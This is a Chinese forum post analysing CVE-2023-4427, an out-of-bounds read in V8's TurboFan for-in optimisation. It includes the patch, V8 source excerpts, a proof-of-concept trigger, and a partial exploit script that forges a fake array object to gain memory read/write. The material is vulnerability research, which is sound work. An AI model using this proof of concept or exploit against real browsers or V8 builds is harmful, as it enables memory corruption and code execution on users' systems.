-
-
[原创] CVE-2023-4427:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey
-
发表于: 2024-4-21 20:57 7976
-
[原创] CVE-2023-4427:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey
@
这篇文章很久之前发在了 CSDN
上,但当笔者想再次查看时,发现其广告实在是太多了,每次看的时候都很不方便,广告老是挡住,所以将文章转到看雪上面(我爱说实话,某平台全是广告...)
=============================
看到一半,发现忘记写 patch
分析了,后面补上......
=============================
之前分析调试漏洞时,几乎都是对着别人的 poc/exp
调试,感觉对自己的提升不是很大,所以后面分析漏洞时尽可能全面分析,从漏洞产生原理、如何稳定触发进行探索。并尝试自己写 poc/exp
diff.patch
如下:
最初接触 enum cache
是在 V8
的官方博客 Fast for-in in V8 中,其介绍了 V8
是如何实现快速的 for-in
语句的,详细的内容可以参考上述官方博客。
总的来说 for-in
语句用于遍历对象的可枚举属性(包括原型链),在 V8
中其设计大概如下:
可以看到,其首要的工作就是迭代遍历对象及原型链上的可枚举属性从而收集所有的可枚举 keys
。那么 V8
为了优化这一过程,配合 V8
的隐藏类机制提出了 enum cache
。
我们知道 V8
通过隐藏类或所谓的 Map
来跟踪对象的结构。具有相同 Map
的对象具有相同的结构。此外,每个 Map
都有一个共享数据结构——描述符数组,其中包含有关每个属性的详细信息,例如属性存储在对象上的位置,属性名称以及是否可枚举等属性信息。为了避免反复的访问描述符数组和检测相关属性,V8
将可枚举对象内属性和快属性的 key
和位置 index
保存在了 enum cache
:
注:enum cache
保存在描述符数组中,而字典模式是不具有描述符数组的,而对于具有描述符数组的 element
其也默认就是可枚举的,而对于 elements
的键查找是非常简单的。所以这里 enum cache
主要就是针对快属性和对象内属性的
所以如果对象只要快属性或对象内属性,那么在执行 for-in
时,只需要访问一次描述符数组,从描述符数组中拿到 enum cache
即可找到所有的可枚举属性,然后遍历原型链,取原型链的 enum cache
(如果有的话)。当然如果对象中还有 elements
呢?这时也会取 enum cache
,但是会进行一些其它的操作,大致流程如下:
对于 for-in
语句,V8
会将其转换成一个循环,其主要使用 3 个关键的操作:ForInEnumerate
、ForInPrepare
、ForInNext
,其中 ForInEnumerate/ForInPrepare
主要就是收集对象所有的可枚举属性,然后 ForInNext
用来遍历这些收集的可枚举属性,对于对象属性的访问会调用 JSLoadProperty
:
而如果对象存在 enum_cache
,则在 InliningPhase
阶段会对 JSLoadProperty
进行优化:
在 InliningPhase
存在一个 native_context_specialization
裁剪器:
该裁剪器会对一些 JS
原生操作进行优化:
可以看到这里会调用 ReduceJSLoadProperty
对 JSLoadProperty
节点进行优化:
对于 for-in
中的属性加载会调用 ReduceJSLoadPropertyWithEnumeratedKey
进行优化:
这里建议读者自己好好看下这个函数中本身的注释,其写的很清楚
总的来说对于将 for-in
中的快属性访问,会将 JSLoadProperty
节点优化成 obj map check
+ LoadFieldByIndex
节点
接下来我们去看下经过 trubofan
优化后的代码的具体执行逻辑:
获取 map
:
执行完 Builtins_ForInEnumerate
后,返回值 rax
就是 map
的值:
获取描述符数组:
获取 EnumCache
:
获取 EnumCache.keys
:
获取 map.enum_length
:
将 enum_length
、enum_cache
、map
保存在栈上:
每次执行完 callback
后,都会检测 obj2
的 map
是否被改变,如果被改变,则直接去优化;否则通过保存在栈上的 map
获取描述符数组,从而获取 enum_cache
,进而获取 enum_cache.indices
,这里会检测 enum_cache.indices
是否为空,如果为空则直接去优化
但是这里的 enum_length
并没有更新,使用的还是之前保存在栈上的值:
这里 debug
版本有检测,所以没办法展示,而 release
版本又用不了 job
命令,有点难调试,所以这里得两个对着调(说实话,挺麻烦的,这里其实可以直接在 release
中设置一下的)
poc
如下:
调试可以看到,在执行完 callback
后,map->descriptor_array->enum_cache
已经被修改,其中 enum_cache.keys/indices
数组的大小都为 1(这里存在指针压缩,所以要右移一位),但是这里栈中保存的 enum_length
却还是 2
这里是真不知道 map
上的 enum length
的偏移是多少
POC
输出如下:
可以看到这里明显存在问题,本来应该输出 2,但是最后却输出为 0,这里简单调试一下。
在经过 callback
后,obj2
的 enum_cache.indices
数组如下:
上面说了,这里的使用的 enum_length
仍然是栈上保存的 2,所以这里会执行第二次遍历:
这时取出的 indice
为 0x6a5
,跟上面是吻合的,然后这里存在指针压缩,所以还要经过右移处理,这里的 r8
指向的是对象起始地址,r8+0xb
是对象内属性存储的起始位置,r12
是经过右移后的 indice
:
这里按理说应该是 [r8 + r12*4 + 0xb]
的,但是调试发现该 POC
就是走的这条路径......
这里可以看下 [r8 + r12*2 + 0xb]
处的值:
可以看到其值为 0,我们尝试修改一下值为 0xdea4:
最后输出如下:
根据输出可以知道,我们之前的分析是对的(这里存在指针压缩,所以要右移一位,说了很多次了,后面就不多说了)
根据上面的漏洞分析,我们可以知道其存在一个似乎不可控的越界读的漏洞。为啥说似乎不可控呢?通过上面的分析,我们可以知道这里越界读是由 indice
决定的,在上面的例子中就是 enum_cache.indices[1]
,所以如果想实现精确的越界读,则需要控制 enum_cache.indices[1]
。所以接下来我们得去研究下 enum_cache
的内存布局。
调试代码如下:
这里主要关注 obj2
的 enum_cache
(其实都一样,毕竟是共享的),其布局如下:
可以看到这里 enum_cache
是在 old_space
分配的,从源码中也可以得知:
所以如果我们可以找到一些对象,其部分内容可控并且也使用 AllocationType::kOld
进行分配,其就会紧跟在 enum_cache
后面分配,这时我们调整 obj2
的初始大小即可实现精确越界读。所以问题转换到了如何在 old space
上分配内容可控对象。
笔者做了如下尝试:
所以为什么我是菜鸡?因为我只会看官方 WP
,官方提供了一个 POC
,其中提供一个函数可以在紧接着 indices
后面分配内容。
其实我发现了字符串是直接分配在 old_space
上的,但是其始终在 indices
的上方,不知道为啥
但是我思考了一下,其实我们没必要实现精确控制,根据 V8
指针压缩堆分配特性,obj2
的 enum_cache
的 map
偏移始终是 0x6a5
。然后由于只有一个越界读,所以这里直接用固定的 map
去尝试,所以 exp
不具备通用性。
这里固定的 map
其实就是上面说的指针压缩堆分配特性,但是非常不稳定
所以我们尝试写针对特定版本的利用,这里感觉不太好说,所以直接画了一张图:
理论上 victim_array
的 addr/map/element
偏移都是固定的,所以这里我们可以直接用而无需泄漏,所以我们可以在 victim_array
中伪造一个 Array
(其就是 victim_array
本身,这里伪造的 len
可以改大一些),然后在 obj2
后面放置一个 fake_object_array
数组,其内容全是伪造的 Array
的地址偏移(由于指针标记,所以记得地址要加1)
这里在越界读的时候,越界的地址为 obj2_addr + 0xb + 0x6a4
,其有很大的概率会落在 fake_object_array_element
中,而其保存的内容为一个地址,所以会对其进行解析,查看指向位置的 map
发现是个对象,所以这里就会返回一个伪造的对象 fake_object
。我们可以通过 victim_array
修改 fake_object
的 elemet
和 len
,修改其 len
可以实现越界读写,修改其 element
可以实现 4GB 内范围的任意地址读写。然后就可以直接劫持函数对象的 code_entry
进行利用
问题:
这种利用方式理论上可行,笔者遇到过两次,但是每次都没有成功完成利用,主要有以下问题:
所以笔者并没有成功完成利用,最后夭折的 exp
如下:
============== 后续 ================
后面糊了一个利用脚本,我的环境有沙箱,TypeArray/DataView
不存在未压缩指针,最后劫持的 wasm
的 jump_table_start
,然后打的立即数 shellcode
:
效果如下:
这个漏洞笔者没有独立写出 poc/exp
,但是自己也经过了大量的思考和调试,并不是像之前一样直接拿着 poc
就开始搞。调试分析这个漏洞花了了接近两天的时间,其中漏洞分析花了一天,漏洞利用花了一天,但是最后还是没有成功写出 exp
,后面看看针对该类漏洞有没有什么好的利用办法
======== 后续 ========
成功完成利用,nice
原作者对漏洞原理的分析
CVE-2023-4427 PoC : Out of bounds memory access in V8.
强网杯2023Final-D8利用分析——从越界读到任意代码执行(CVE-2023-4427)
Fast for-in in V8
git checkout 12.2.149
gclient
sync
-D
git apply
diff
.patch
gn gen out
/debug
--args=
"symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=false"
ninja -C out
/debug
d8
git checkout 12.2.149
gclient
sync
-D
git apply
diff
.patch
gn gen out
/debug
--args=
"symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=false"
ninja -C out
/debug
d8
diff
--git a
/src/objects/map-updater
.cc b
/src/objects/map-updater
.cc
index 7d04b064177..d5f3b169487 100644
--- a
/src/objects/map-updater
.cc
+++ b
/src/objects/map-updater
.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
//
the new descriptors to maintain descriptors sharing invariant.
split_map->ReplaceDescriptors(isolate_, *new_descriptors);
-
//
If the old descriptors had an enum cache,
make
sure the new ones
do
too.
-
if
(old_descriptors_->enum_cache()->keys()->length() > 0 &&
- new_map->NumberOfEnumerableProperties() > 0) {
- FastKeyAccumulator::InitializeFastPropertyEnumCache(
- isolate_, new_map, new_map->NumberOfEnumerableProperties());
- }
-
if
(has_integrity_level_transition_) {
target_map_ = new_map;
state_ = kAtIntegrityLevelSource;
diff
--git a
/src/objects/map-updater
.cc b
/src/objects/map-updater
.cc
index 7d04b064177..d5f3b169487 100644
--- a
/src/objects/map-updater
.cc
+++ b
/src/objects/map-updater
.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
//
the new descriptors to maintain descriptors sharing invariant.
split_map->ReplaceDescriptors(isolate_, *new_descriptors);
-
//
If the old descriptors had an enum cache,
make
sure the new ones
do
too.
-
if
(old_descriptors_->enum_cache()->keys()->length() > 0 &&
- new_map->NumberOfEnumerableProperties() > 0) {
- FastKeyAccumulator::InitializeFastPropertyEnumCache(
- isolate_, new_map, new_map->NumberOfEnumerableProperties());
- }
-
if
(has_integrity_level_transition_) {
target_map_ = new_map;
state_ = kAtIntegrityLevelSource;
function
* EnumerateObjectProperties(obj) {
const visited =
new
Set();
for
(const key of Reflect.ownKeys(obj)) {
if
(
typeof
key ===
'symbol'
)
continue
;
const desc = Reflect.getOwnPropertyDescriptor(obj, key);
if
(desc && !visited.has(key)) {
visited.add(key);
if
(desc.enumerable) yield key;
}
}
const proto = Reflect.getPrototypeOf(obj);
if
(proto ===
null
)
return
;
for
(const protoKey of EnumerateObjectProperties(proto)) {
if
(!visited.has(protoKey)) yield protoKey;
}
}
function
* EnumerateObjectProperties(obj) {
const visited =
new
Set();
for
(const key of Reflect.ownKeys(obj)) {
if
(
typeof
key ===
'symbol'
)
continue
;
const desc = Reflect.getOwnPropertyDescriptor(obj, key);
if
(desc && !visited.has(key)) {
visited.add(key);
if
(desc.enumerable) yield key;
}
}
const proto = Reflect.getPrototypeOf(obj);
if
(proto ===
null
)
return
;
for
(const protoKey of EnumerateObjectProperties(proto)) {
if
(!visited.has(protoKey)) yield protoKey;
}
}
// For-In Prepare:
FixedArray* keys = nullptr;
Map* original_map = object->map();
if
(original_map->HasEnumCache()) {
if
(object->HasNoElements()) {
keys = original_map->GetCachedEnumKeys();
}
else
{
keys = object->GetCachedEnumKeysWithElements();
}
}
else
{
keys = object->GetEnumKeys();
}
// For-In Body:
for
(
size_t
i = 0; i < keys->length(); i++) {
// For-In Next:
String* key = keys[i];
if
(!object->HasProperty(key)
continue
;
EVALUATE_FOR_IN_BODY();
}
// For-In Prepare:
FixedArray* keys = nullptr;
Map* original_map = object->map();
if
(original_map->HasEnumCache()) {
if
(object->HasNoElements()) {
keys = original_map->GetCachedEnumKeys();
}
else
{
keys = object->GetCachedEnumKeysWithElements();
}
}
else
{
keys = object->GetEnumKeys();
}
// For-In Body:
for
(
size_t
i = 0; i < keys->length(); i++) {
// For-In Next:
String* key = keys[i];
if
(!object->HasProperty(key)
continue
;
EVALUATE_FOR_IN_BODY();
}
struct
InliningPhase {
......
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &native_context_specialization);
AddReducer(data, &graph_reducer, &context_specialization);
AddReducer(data, &graph_reducer, &intrinsic_lowering);
AddReducer(data, &graph_reducer, &call_reducer);
......
struct
InliningPhase {
......
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &native_context_specialization);
AddReducer(data, &graph_reducer, &context_specialization);
AddReducer(data, &graph_reducer, &intrinsic_lowering);
AddReducer(data, &graph_reducer, &call_reducer);
......
Reduction JSNativeContextSpecialization::Reduce(Node* node) {
switch
(node->opcode()) {
case
IrOpcode::kJSAdd:
return
ReduceJSAdd(node);
......
case
IrOpcode::kJSLoadProperty:
return
ReduceJSLoadProperty(node);
case
IrOpcode::kJSSetKeyedProperty:
return
ReduceJSSetKeyedProperty(node);
......
default
:
break
;
}
return
NoChange();
}
Reduction JSNativeContextSpecialization::Reduce(Node* node) {
switch
(node->opcode()) {
case
IrOpcode::kJSAdd:
return
ReduceJSAdd(node);
......
case
IrOpcode::kJSLoadProperty:
return
ReduceJSLoadProperty(node);
case
IrOpcode::kJSSetKeyedProperty:
return
ReduceJSSetKeyedProperty(node);
......
default
:
break
;
}
return
NoChange();
}
Reduction JSNativeContextSpecialization::ReduceJSLoadProperty(Node* node) {
JSLoadPropertyNode n(node);
PropertyAccess
const
& p = n.Parameters();
Node* name = n.key();
// obj[key]
// 从之前的 IR 图中可以看出,key 是通过 ForInNext 进行遍历的,所以这里就是 JSForInNext 节点
if
(name->opcode() == IrOpcode::kJSForInNext) {
// 调用 ReduceJSLoadPropertyWithEnumeratedKey 进行优化
Reduction reduction = ReduceJSLoadPropertyWithEnumeratedKey(node);
if
(reduction.Changed())
return
reduction;
}
if
(!p.feedback().IsValid())
return
NoChange();
Node* value = jsgraph()->Dead();
return
ReducePropertyAccess(node, name, base::nullopt, value,
FeedbackSource(p.feedback()), AccessMode::kLoad);
}
Reduction JSNativeContextSpecialization::ReduceJSLoadProperty(Node* node) {
JSLoadPropertyNode n(node);
PropertyAccess
const
& p = n.Parameters();
Node* name = n.key();
// obj[key]
// 从之前的 IR 图中可以看出,key 是通过 ForInNext 进行遍历的,所以这里就是 JSForInNext 节点
if
(name->opcode() == IrOpcode::kJSForInNext) {
// 调用 ReduceJSLoadPropertyWithEnumeratedKey 进行优化
Reduction reduction = ReduceJSLoadPropertyWithEnumeratedKey(node);
if
(reduction.Changed())
return
reduction;
}
if
(!p.feedback().IsValid())
return
NoChange();
Node* value = jsgraph()->Dead();
return
ReducePropertyAccess(node, name, base::nullopt, value,
FeedbackSource(p.feedback()), AccessMode::kLoad);
}
Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
Node* node) {
// We can optimize a property load if it's being used inside a for..in:
// for (name in receiver) {
// value = receiver[name];
// ...
// }
//
// If the for..in is in fast-mode, we know that the {receiver} has {name}
// as own property, otherwise the enumeration wouldn't include it. The graph
// constructed by the BytecodeGraphBuilder in this case looks like this:
// receiver
// ^ ^
// | |
// | +-+
// | |
// | JSToObject
// | ^
// | |
// | |
// | JSForInNext
// | ^
// | |
// +----+ |
// | |
// | |
// JSLoadProperty
// If the for..in has only seen maps with enum cache consisting of keys
// and indices so far, we can turn the {JSLoadProperty} into a map check
// on the {receiver} and then just load the field value dynamically via
// the {LoadFieldByIndex} operator. The map check is only necessary when
// TurboFan cannot prove that there is no observable side effect between
// the {JSForInNext} and the {JSLoadProperty} node.
//
// Also note that it's safe to look through the {JSToObject}, since the
// [[Get]] operation does an implicit ToObject anyway, and these operations
// are not observable.
DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
Node* receiver = NodeProperties::GetValueInput(node, 0);
// obj
JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
// JsForInNext
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
// 存在 EnumCache
if
(name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
return
NoChange();
}
Node* object = name.receiver();
// 理论上是 JSToObject 节点
Node* cache_type = name.cache_type();
Node* index = name.index();
if
(object->opcode() == IrOpcode::kJSToObject) {
object = NodeProperties::GetValueInput(object, 0);
// object = receiver
}
if
(object != receiver)
return
NoChange();
// No need to repeat the map check if we can prove that there's no
// observable side effect between {effect} and {name].
// 对 map 进行检查
if
(!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
// Check that the {receiver} map is still valid.
Node* receiver_map = effect =
graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
receiver, effect, control);
Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
cache_type);
effect =
graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
check, effect, control);
}
// Load the enum cache indices from the {cache_type}.
// 后面就不用多说了,descriptor_array => enum_cache => enum_indices
Node* descriptor_array = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
effect, control);
Node* enum_cache = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
descriptor_array, effect, control);
Node* enum_indices = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
effect, control);
// Ensure that the {enum_indices} are valid.
Node* check = graph()->NewNode(
simplified()->BooleanNot(),
graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
jsgraph()->EmptyFixedArrayConstant()));
effect = graph()->NewNode(
simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
control);
// Determine the key from the {enum_indices}.
Node* key = effect = graph()->NewNode(
simplified()->LoadElement(
AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
enum_indices, index, effect, control);
// Load the actual field value.
Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
receiver, key, effect, control);
ReplaceWithValue(node, value, effect, control);
return
Replace(value);
}
Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
Node* node) {
// We can optimize a property load if it's being used inside a for..in:
// for (name in receiver) {
// value = receiver[name];
// ...
// }
//
// If the for..in is in fast-mode, we know that the {receiver} has {name}
// as own property, otherwise the enumeration wouldn't include it. The graph
// constructed by the BytecodeGraphBuilder in this case looks like this:
// receiver
// ^ ^
// | |
// | +-+
// | |
// | JSToObject
// | ^
// | |
// | |
// | JSForInNext
// | ^
// | |
// +----+ |
// | |
// | |
// JSLoadProperty
// If the for..in has only seen maps with enum cache consisting of keys
// and indices so far, we can turn the {JSLoadProperty} into a map check
// on the {receiver} and then just load the field value dynamically via
// the {LoadFieldByIndex} operator. The map check is only necessary when
// TurboFan cannot prove that there is no observable side effect between
// the {JSForInNext} and the {JSLoadProperty} node.
//
// Also note that it's safe to look through the {JSToObject}, since the
// [[Get]] operation does an implicit ToObject anyway, and these operations
// are not observable.
DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
Node* receiver = NodeProperties::GetValueInput(node, 0);
// obj
JSForInNextNode name(NodeProperties::GetValueInput(node, 1));
// JsForInNext
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
// 存在 EnumCache
if
(name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
return
NoChange();
}
Node* object = name.receiver();
// 理论上是 JSToObject 节点
Node* cache_type = name.cache_type();
Node* index = name.index();
if
(object->opcode() == IrOpcode::kJSToObject) {
object = NodeProperties::GetValueInput(object, 0);
// object = receiver
}
if
(object != receiver)
return
NoChange();
// No need to repeat the map check if we can prove that there's no
// observable side effect between {effect} and {name].
// 对 map 进行检查
if
(!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
// Check that the {receiver} map is still valid.
Node* receiver_map = effect =
graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
receiver, effect, control);
Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
cache_type);
effect =
graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
check, effect, control);
}
// Load the enum cache indices from the {cache_type}.
// 后面就不用多说了,descriptor_array => enum_cache => enum_indices
Node* descriptor_array = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
effect, control);
Node* enum_cache = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
descriptor_array, effect, control);
Node* enum_indices = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
effect, control);
// Ensure that the {enum_indices} are valid.
Node* check = graph()->NewNode(
simplified()->BooleanNot(),
graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
jsgraph()->EmptyFixedArrayConstant()));
effect = graph()->NewNode(
simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
control);
// Determine the key from the {enum_indices}.
Node* key = effect = graph()->NewNode(
simplified()->LoadElement(
AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
enum_indices, index, effect, control);
// Load the actual field value.
Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
receiver, key, effect, control);
ReplaceWithValue(node, value, effect, control);
return
Replace(value);
}
const obj1 = {};
obj1.a = 1;
const obj2 = {};
obj2.a = 1;
obj2.b = 2;
const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
// init enum cache
for
(let i
in
obj2) {}
function
trigger(callback) {
for
(let key
in
obj2) {
callback();
console.log(obj2[key]);
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);
trigger(
_=>{
obj3.c = 1.1;
for
(let i
in
obj1) {}
}
);
const obj1 = {};
obj1.a = 1;
const obj2 = {};
obj2.a = 1;
obj2.b = 2;
const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
// init enum cache
for
(let i
in
obj2) {}
function
trigger(callback) {
for
(let key
in
obj2) {
callback();
console.log(obj2[key]);
}
}
%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);
trigger(
_=>{
obj3.c = 1.1;
for
(let i
in
obj1) {}
}
);
const obj1 = {};
obj1.a = 1;
const obj2 = {};
obj2.a = 1;
obj2.b = 2;
const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
obj3.c = 1.1;
for
(let i
in
obj1) {}
%DebugPrint(obj2);
%SystemBreak();
const obj1 = {};
obj1.a = 1;
const obj2 = {};
obj2.a = 1;
obj2.b = 2;
const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
obj3.c = 1.1;
for
(let i
in
obj1) {}
%DebugPrint(obj2);
%SystemBreak();
// 可以看到这里默认的分配方式就是 Old space / Lo space
static
Handle<FixedArray> InitializeFastPropertyEnumCache(
Isolate* isolate, Handle<Map> map,
int
enum_length,
AllocationType allocation = AllocationType::kOld);
Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
Isolate* isolate, Handle<Map> map,
int
enum_length,
AllocationType allocation) {
......
Handle<FixedArray> keys = isolate->factory()->NewFixedArray(enum_length, allocation);
......
if
(fields_only) {
indices = isolate->factory()->NewFixedArray(enum_length, allocation);
......
// 可以看到这里默认的分配方式就是 Old space / Lo space
static
Handle<FixedArray> InitializeFastPropertyEnumCache(
Isolate* isolate, Handle<Map> map,
int
enum_length,
AllocationType allocation = AllocationType::kOld);
Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
Isolate* isolate, Handle<Map> map,
int
enum_length,
AllocationType allocation) {
......
Handle<FixedArray> keys = isolate->factory()->NewFixedArray(enum_length, allocation);
......
if
(fields_only) {
indices = isolate->factory()->NewFixedArray(enum_length, allocation);
......
var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
var
roots =
new
Array(0x30000);
var
index = 0;
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
function
f64_to_u64(val) {
f64[0] = val;
return
u64[0];
}
function
set_u64(val) {
u64[0] = val;
}
function
set_l(l) {
u32[0] = l;
}
function
set_h(h) {
u32[1] = h;
}
function
get_u64() {
return
u64[0];
}
function
get_f64() {
return
f64[0];
}
function
get_fl(val) {
f64[0] = val;
return
u32[0];
}
function
get_fh(val) {
f64[0] = val;
return
u32[1];
}
function
add_ref(obj) {
roots[index++] = obj;
}
function
major_gc() {
new
ArrayBuffer(0x7fe00000);
}
function
minor_gc() {
for
(let i = 0; i < 8; i++) {
add_ref(
new
ArrayBuffer(0x200000));
}
add_ref(
new
ArrayBuffer(8));
}
function
hexx(str, val) {
console.log(str+
": 0x"
+val.toString(16).padStart(16,
"0"
));
}
function
sleep(ms) {
return
new
Promise((resolve) => setTimeout(resolve, ms));
}
minor_gc();
major_gc();
major_gc();
var
victim_array = [3.694396909718e-311, 1.6976101072e-313, 1.1, 1.1];
//%DebugPrint(victim_array);
var
float_array = [2.2, 2.2, 2.2, 2.2];
var
object_array = [0xdea4n, {}, {}, {}];
var
obj1 = {};
obj1.a = 1;
var
obj2 = {};
obj2.a = 1;
obj2.b = 2;
var
fake_object_array =
new
Array(200).fill(5.787382781920796e-309);
var
obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
// init enum_cache
for
(let i
in
obj2) {}
function
trigger(callback) {
for
(let key
in
obj2) {
if
(key ==
"b"
) {
callback();
let fake_object = obj2[key];
return
fake_object;
}
}
}
for
(let i = 0; i < 0x10000; i++) {
trigger(_=>_);
trigger(_=>_);
trigger(_=>_);
trigger(_=>_);
}
%DebugPrint(victim_array);
var
fake_object = trigger(
_=>
{
obj3.c = 3.14;
for
(let key
in
obj1) {}
}
);
print(u64_to_f64(0x000006cd00451b8dn));
print(u64_to_f64(0x0000000800042955n));
print(u64_to_f64(0x0004295d0004295dn));
//%DebugPrint(obj2);
//%DebugPrint(fake_object_array);
%DebugPrint(fake_object);
//%SystemBreak();
var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
var
roots =
new
Array(0x30000);
var
index = 0;
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!